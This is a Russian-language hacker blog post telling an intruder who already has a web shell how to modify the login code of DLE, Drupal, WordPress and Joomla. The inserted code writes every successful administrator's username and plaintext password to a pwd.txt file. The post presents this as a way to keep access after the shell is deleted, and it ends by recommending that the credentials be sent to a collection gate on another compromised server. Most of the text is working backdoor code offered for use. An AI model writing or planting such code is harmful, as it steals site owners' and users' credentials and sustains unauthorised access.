Иногда нужно получить логин/пароль пользователей CMS уже после того, как залит шелл. Причин, по которым вам это может понадобиться, не так уж и много:
- Сохранить доступ на случай удаления шелла.
- Сэкономить шекель на расшифровке хешей, либо узнать пароли, которые не могут быть сбручены в приемлемые сроки.
- Что делать с полученными парами логин/пароль (либо мыло/пароль) вы и так знаете.
DLE
Тестировалось на DLE 10.3. Ищем файл:
dle/engine/inc/include/init.php
Ищем следующие строки и изменяем:
if ($_REQUEST['subaction'] == 'dologin') {
$username = $_POST['username'];
$cmd5_password = md5($_POST['password']);
$post = true;
$check_log = true;
}
}
if (check_login($username, $cmd5_password, $post, $check_log)) {
///////Начало нашей вставки///////
$fh = fopen("pwd.txt","a");
fwrite($fh, trim($username).":".trim($_POST['password'])."\n");
fclose($fh);
///////Конец нашей вставки//////////
$is_loged_in = true;
$dle_login_hash = md5(SECURE_AUTH_KEY . $_SERVER['HTTP_HOST'] . $member_id['user_id'] . sha1($cmd5_password) . $config['key'] . date("Ymd"));
if (!$_SESSION['dle_user_id'] and $_COOKIE['dle_user_id']) {
session_regenerate_id();
$_SESSION['dle_user_id'] = $_COOKIE['dle_user_id'];
$_SESSION['dle_password'] = $_COOKIE['dle_password'];
}
}
В итоге, в файл pwd.txt запишется валидный (шлак от брутфорсеров не попадет) логин/пароль администратора (если он зайдет через admin.php).
Drupal
Тестировалось на Drupal 7.36. Файл:
drupal/modules/user/user.module
Ищем функцию и добавляем наш код:
function user_authenticate($name, $password) {
$uid = FALSE;
if (!empty($name) && !empty($password)) {
$account = user_load_by_name($name);
if ($account) {
// Allow alternate password hashing schemes.
require_once DRUPAL_ROOT . '/' . variable_get('password_inc', 'includes/password.inc');
if (user_check_password($password, $account)) {
// Successful authentication.
$uid = $account->uid;
/////////Начало нашей вставки///////////////////////
$fh = fopen("pwd.txt","w");
fwrite($fh, $name.":".$password."\n");
fclose($fh);
/////////Конец нашей вставки///////////////////////
// Update user to new password scheme if needed.
if (user_needs_new_hash($account)) {
user_save($account, array('pass' => $password));
}
}
}
}
return $uid;
}
Валидные логин/пароль будут лежать в файле pwd.txt (в корне сайта).
WordPress
Тестировалось на WordPress 4.1.1. Открываем файл wp-login.php и меняем:
$user = wp_signon( '', $secure_cookie );
//////Начало нашей вставки////////////
if(!is_wp_error($user)){
$fh = fopen("pwd.txt", "a+");
fwrite($fh,$_POST['log'].":".$_POST['pwd']."\n");
fclose($fh);
}
//////Конец нашей вставки////////////
Валидные логин/пасс все так же пишутся в pwd.txt.
Joomla
Тестировалось на Joomla 3.4.1. Открываем этот файл:
joomla/administrator/components/com_login/controller.php
Ищем функцию и вставляем код:
public function login()
{
// Check for request forgeries.
JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));
$app = JFactory::getApplication();
$model = $this->getModel('login');
$credentials = $model->getState('credentials');
/////Начало нашей вставки-1 ////////////
$usr=$credentials['username'];
$pwd=$credentials['password'];
/////Конец нашей вставки-1////////////
$return = $model->getState('return');
$result = $app->login($credentials, array('action' => 'core.login.admin'));
/////Начало нашей вставки-2 ////////////
if($result){
$fh = fopen("pwd.txt","a");
fwrite($fh, trim($usr).":".trim($pwd)."\n");
fclose($fh);
}
/////Конец нашей вставки-2////////////
if (!($result instanceof Exception))
{
$app->redirect($return);
}
parent::display();
}
Логин/пасс администратора сохранятся в файл pwd.txt в папке administrator. Не помню точно, но вроде без сохранения логина/пароля в доп. переменных трактор не ехал, поэтому вставки две, а не одна.
Годный одепт знает, что создавать доп. файлы это палевно. Поэтому вместо кодеса, создающего pwd.txt он напишет продвинутый кодес, который будет слать данные в гейт расположенный на другом шелле.
Комментарии
Отправить комментарий